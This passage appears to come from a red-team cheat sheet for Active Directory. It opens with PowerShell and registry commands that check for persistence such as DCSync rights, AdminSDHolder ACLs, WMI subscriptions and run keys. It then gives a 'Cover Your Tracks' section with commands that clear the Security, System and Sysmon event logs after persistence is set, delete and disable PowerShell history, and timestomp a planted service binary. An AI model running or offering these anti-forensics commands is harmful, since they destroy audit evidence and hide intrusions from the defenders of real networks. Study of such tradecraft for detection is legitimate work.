Get-ADUser -Filter * -Properties SIDHistory | Where-Object {$_.SIDHistory -ne $null} | select Name, SIDHistory
# Check AdminSDHolder ACLs
Get-DomainObjectAcl "CN=AdminSDHolder,CN=System,DC=corp,DC=local" -ResolveGUIDs | Where-Object { $_.ActiveDirectoryRights -match "GenericAll|WriteDacl|GenericWrite" }
# Check DCSync rights (non-DC accounts with replication rights)
Get-DomainObjectAcl "DC=corp,DC=local" -ResolveGUIDs | Where-Object { $_.ObjectAceType -match "DS-Replication" } | select SecurityIdentifier, ObjectAceType
# Check Shadow Credentials
Get-ADUser -Filter * -Properties "msDS-KeyCredentialLink" | Where-Object { $_."msDS-KeyCredentialLink" -ne $null } | select Name
# Check WMI subscriptions
Get-WMIObject -Namespace root\subscription -Class __EventFilter
Get-WMIObject -Namespace root\subscription -Class CommandLineEventConsumer
Get-WMIObject -Namespace root\subscription -Class __FilterToConsumerBinding
# Check scheduled tasks (suspicious locations)
schtasks /query /fo LIST /v | findstr "Task Name\|Run As User\|Task To Run" | findstr -v "N/A"
# Check services with non-standard binary paths
Get-WmiObject Win32_Service | Where-Object { $_.PathName -notmatch "system32|SysWOW64|Program Files" } | select Name, PathName, StartMode
# Check registry run keys
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Run"
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run"
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options" /s | findstr "Debugger"
# Check DSRM registry flag
reg query "HKLM\System\CurrentControlSet\Control\Lsa" /v DsrmAdminLogonBehavior
# Check issued ADCS certs
certipy find -u user@corp.local -p pass -dc-ip <DC_IP> -vulnerable
# OR on CA server:
certutil -view -out "RequesterName,Certificate Expiration Date,Certificate Template" csv
# ══════════════════════════════════════════
# CLEANUP (Cover Your Tracks)
# ══════════════════════════════════════════
# Clear Windows Event Logs (OPSEC — do AFTER all persistence is set)
wevtutil cl Security
wevtutil cl System
wevtutil cl Application
wevtutil cl "Microsoft-Windows-Sysmon/Operational"
# OR selective log clearing (less suspicious than full wipe)
# Clear specific Event IDs (e.g., 4728 = added to group)
Get-WinEvent -LogName Security | Where-Object {$_.Id -eq 4728} | foreach { $_.Message }
# Remove PowerShell history
Remove-Item (Get-PSReadlineOption).HistorySavePath -Force -ErrorAction SilentlyContinue
Set-PSReadLineOption -HistorySaveStyle SaveNothing
# Timestomp (modify file timestamps to blend in)
# Via Meterpreter: timestomp C:\ProgramData\svc.exe -z
# Via PowerShell:
(Get-Item C:\ProgramData\svc.exe).CreationTime = "2022-03-15 10:00:00"
(Get-Item C:\ProgramData\svc.exe).LastWriteTime = "2022-03-15 10:00:00"
(Get-Item C:\ProgramData\svc.exe).LastAccessTime = "2022-03-15 10:00:00"
# Remove shimcache / amcache entries (advanced)
# Use: ShimCacheParser, AppCompatCacheParser to verify